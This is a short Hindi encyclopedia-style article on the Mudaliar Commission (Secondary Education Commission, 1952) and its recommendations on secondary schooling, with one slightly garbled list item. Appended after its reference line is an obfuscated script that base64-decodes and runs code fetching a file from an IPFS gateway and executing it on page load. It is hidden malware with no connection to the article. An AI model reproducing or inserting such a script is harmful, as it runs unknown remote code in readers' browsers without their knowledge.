मुदालियर आयोग
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मुदालियर आयोग माध्यमिक शिक्षा के ढाँचे में सुधार लाने के लिए गठित किया गया था। भारत सरकार ने 23 सितम्बर, 1952 को डॉ. लक्ष्मणस्वामी मुदालियर की अध्यक्षता में "माध्यमिक शिक्षा आयोग" की स्थापना की थी, उन्हीं के नाम पर इसे 'मुदालियर कमीशन' कहा गया।[१]
- इस आयोग ने अपनी सिफ़ारिशों में कहा कि-
- (4 या 5 की प्राइमरी शिक्षा 2) सेकंडरी शिक्षा के दो भाग होने चाहिए।
- आयोग ने पाठ्यचर्चा में विविधता लाने हेतु, एक मध्यवर्ती स्तर जोड़ने, त्रिस्तरीय स्नातक पाठ्यक्रम शुरू करने इत्यादि की सिफारिश की।
- वस्तुनिष्ठ (MCQ) परीक्षण-पद्धति को अपनाया जाए।
- संख्यात्मक अंक देने के बजाय सांकेतिक अंक दिया जाए।
- उच्च तथा उच्चतर माध्यमिक स्तर की शिक्षा के पाठ्यक्रम में एक कोर विषय रहे, जो अनिवार्य हो, जैसे- गणित, सामान्य ज्ञान, कला, संगीत आदि।
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टीका टिप्पणी और संदर्भ
- ↑ मुदालियर आयोग (हिंदी) everythingabhishek.blogspot। अभिगमन तिथि: 05 जुलाई, 2018।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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